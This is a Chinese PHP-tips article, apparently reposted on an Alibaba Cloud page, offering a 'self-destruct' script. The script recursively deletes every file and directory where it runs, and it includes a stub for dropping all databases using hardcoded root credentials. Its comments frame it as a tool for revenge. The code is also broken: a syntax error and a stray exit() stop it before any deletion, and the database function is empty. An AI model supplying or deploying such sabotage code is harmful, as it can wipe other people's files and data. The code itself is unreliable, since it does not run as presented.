PHP自毀程式(慎用)_php技巧

來源:互聯網
上載者:User

本文執行個體講述了PHP自毀程式。分享給大家供大家參考。具體實現方法如下:

<?php// +----------------------------------------------------------------------// | Kill!!// | 程式將清除本目錄所有檔案、目錄// | 如果設定了資料庫資訊,則嘗試刪除所有資料庫和表資料(前提是許可權要夠!)// +----------------------------------------------------------------------// | Version: $Id$// +---------------------------------------------------------------------- //----------資料庫配置地區-----------------//複仇的力量是很可怕的,所以無需指定資料庫,全刪!define('DB_USER', 'root');define('DB_PWD', 'root');define('DB_HOST', 'localhost');define('DB_PORT', '3216');define('DB_DAMAGE', true); //為false時,不碰資料庫run();/** * 主體思想必須光輝偉大! * * @return void **/function run(){ //刪除檔案 deletedir(); //刪除資料庫 deleteDB();}/** * 呵呵呵,刪除目前的目錄所有檔案(遞迴) * * @return void **/function deletedir($dir = ''){ if ($dir == '') {  $dir = realpath('.'); } echo $dir; exit();  if(!handle=@opendir($dir)){  //檢測要開啟目錄是否存在  die("沒有該目錄");  }  while(false !==($file=readdir($handle))){    if($file!=="."&&$file!==".."){    //排除目前的目錄與父級目錄    $file=$dir .DIRECTORY_SEPARATOR. $file;    if(is_dir($file)){     deletedir($file);    }else{     if(@unlink($file)){      echo "檔案<b>$file</b>刪除成功。<br>";     }else{      echo "檔案<b>$file</b>刪除失敗!<br>";     }    }    }    if(@rmdir($dir)){    echo "目錄<b>$dir</b>刪除成功了。<br>\n";    }else{    echo "目錄<b>$dir</b>刪除失敗!<br>\n";    }   }/** * 呵呵呵,刪除資料庫 * * @return void **/function deleteDB(){ if(DB_DAMAGE === true){  //start }}

希望本文所述對大家的php程式設計有所協助。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.